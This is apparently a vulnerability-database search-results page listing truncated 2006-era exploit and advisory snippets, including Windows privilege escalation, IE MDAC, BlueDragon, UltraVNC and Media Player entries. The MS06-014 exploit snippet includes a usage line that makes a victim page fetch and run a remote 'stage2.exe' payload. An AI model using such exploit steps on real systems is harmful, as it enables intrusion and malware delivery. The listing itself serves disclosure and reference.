2469 matches found
MS Windows (Windows Kernel) Privilege Escalation Exploit (MS06-049)
Exploit for unknown platform in category local exploits =================================================================== MS Windows Windows Kernel Privilege Escalation Exploit MS06-049 =================================================================== / MS06-049 Windows ZwQuerySystemInformati...
openoffice.org -- multiple vulnerabilities
OpenOffice.org Security Team reports: Fixed in OpenOffice.org 3.2 CVE-2006-4339: Potential vulnerability from 3rd party libxml2 libraries CVE-2009-0217: Potential vulnerability from 3rd party libxmlsec libraries CVE-2009-2493: OpenOffice.org 3 for Windows bundles a vulnerable version of MSVC...
MS Internet Explorer (MDAC) Remote Code Execution Exploit (MS06-014)
No description provided by source. !/bin/sh - "exec" "python" "-O" "$0" "$@" doc = """BL4CK - MS06-014 RDS.DataStore - Data Execution CVS-2006-0003 MS06-014 April 2006 this is a bit out-dated, but works very well Usage: ./bl4ckms06014.py http://omfg.what.ho.st/user/stage2.exe index.html Now uploa...
MS-RPC Programs Lookup (CVE-2006-1314)
DCE/RPC stands for Distributed Computing Environment / Remote Procedure Calls. It is a Remote Procedure Call system that allows software to work across multiple computers, as if it were all working on the same computer. This system allows programmers to write distributed software without having t...
mspp-poc1.txt
/----------------------------------------------------------------------------------------- MS Power Point Unspecified vulnerability POC nice SYS 49152 what about rar ? sorry no more comments : figure it yourself some greetz goes to waqas : Tested against Power Point ' 03 -- naveed...
Design/Logic Flaw
BlueDragon Server and Server JX 6.2.1.286 for Windows allows remote attackers to cause a denial of service hang via a request for a .cfm file whose name contains an MS-DOS device name such as 1 con, 2 aux, 3 com1, and 4 com2...
CVE-2006-2310
BlueDragon Server and Server JX 6.2.1.286 for Windows allows remote attackers to cause a denial of service hang via a request for a .cfm file whose name contains an MS-DOS device name such as 1 con, 2 aux, 3 com1, and 4 com2...
BlueDragon 6.2.1 Multiple Remote Vulnerabilities (XSS, DoS)
The remote host is running BlueDragon Server / Server JX, Java-based servers for stand-alone deployment of CFML ColdFusion Markup Language pages. The version of BlueDragon Server / Server JX installed on the remote host fails to sanitize user-supplied input passed as part of the filename before...
Windows Media Player PNG buffer overflow
Added: 06/16/2006 CVE: CVE-2006-0025 BID: 18385 OSVDB: 26430 Background Windows Media Player is an audio and video media player for Windows platforms. Problem A buffer overflow in Windows Media Player allows command execution when a user opens a specially crafted PNG image file. Resolution Apply...
MS Windows (NtClose DeadLock) Vulnerability PoC (MS06-030)
Exploit for unknown platform in category local exploits ========================================================== MS Windows NtClose DeadLock Vulnerability PoC MS06-030 ==========================================================...
Techno Dreams GuestBook Remote XSS Exploit
------------------------------------------------------------------ - Techno Dreams GuestBook Remote XSS Exploit - -= http://colander.altervista.org/advisory/TDGuestBook.txt =- ------------------------------------------------------------------ -= Techno Dreams GuestBook Latetest Version =-...
[BuHa-Security] DoS Vulnerability in MS IE 6 SP2
-----BEGIN PGP SIGNED MESSAGE----- Hash: RIPEMD160 --------------------------------------------------- | BuHa Security-Advisory 12 | May 25th, 2006 | --------------------------------------------------- | Vendor | MS Internet Explorer 6.0 | | URL | http://www.microsoft.com/windows/ie/ | | Version ...
[BuHa-Security] MS06-013: HTML Tag Memory Corruption Vulnerability in MS IE 6 SP2
-----BEGIN PGP SIGNED MESSAGE----- Hash: RIPEMD160 --------------------------------------------------- | BuHa Security-Advisory 13 | May 25th, 2006 | --------------------------------------------------- | Vendor | MS Internet Explorer 6.0 | | URL | http://www.microsoft.com/windows/ie/ | | Version ...
Re: The Weakness of Windows Impersonation Model
Hi Brian, I wrote a paper on this subject last year, "Snagging Security Tokens to Elevate Privileges" http://www.databasesecurity.com/dbsec-briefs.htm after Tim Mullen and thrashed out a few details at Blackhat last year over a few White Russians. The paper discusses the problem in the context of...
Authentication flaw
The MS-Logon authentication scheme in UltraVNC aka Ultr@VNC 1.0.1 uses weak encryption XOR for challenge/response, which allows remote attackers to gain privileges by sniffing and decrypting passwords...
CVE-2006-2206
The MS-Logon authentication scheme in UltraVNC aka Ultr@VNC 1.0.1 uses weak encryption XOR for challenge/response, which allows remote attackers to gain privileges by sniffing and decrypting passwords...
CVE-2006-2206
The CVE-2006-2206 entry concerns UltraVNC 1.0.1 whose MS-Logon scheme uses weak XOR encryption for challenge/response. This weak cryptography permits an attacker on the network to sniff credentials and decrypt passwords, enabling privilege escalation.
Vulnerability in the way [email protected] handles MS-Logon Authentication.
AGR IT Advisory May 2, 2006 AGR-ADV-2006-01 TITLE: Vulnerability in the way [email protected] handles MS-Logon Authentication. Overview Deon Force discovered a vulnerability in Ultr@VNC 1.0.1 and earlier versions with MS-Logon I and MS-Logon II authentication that may allow attackers to crack the...
Design/Logic Flaw
The Gmax Mail client in Hitachi Groupmax before 20060426 allows remote attackers to cause a denial of service application hang or erroneous behavior via an attachment with an MS-DOS device filename...
CVE-2006-2087
The Gmax Mail client in Hitachi Groupmax before 20060426 allows remote attackers to cause a denial of service application hang or erroneous behavior via an attachment with an MS-DOS device filename...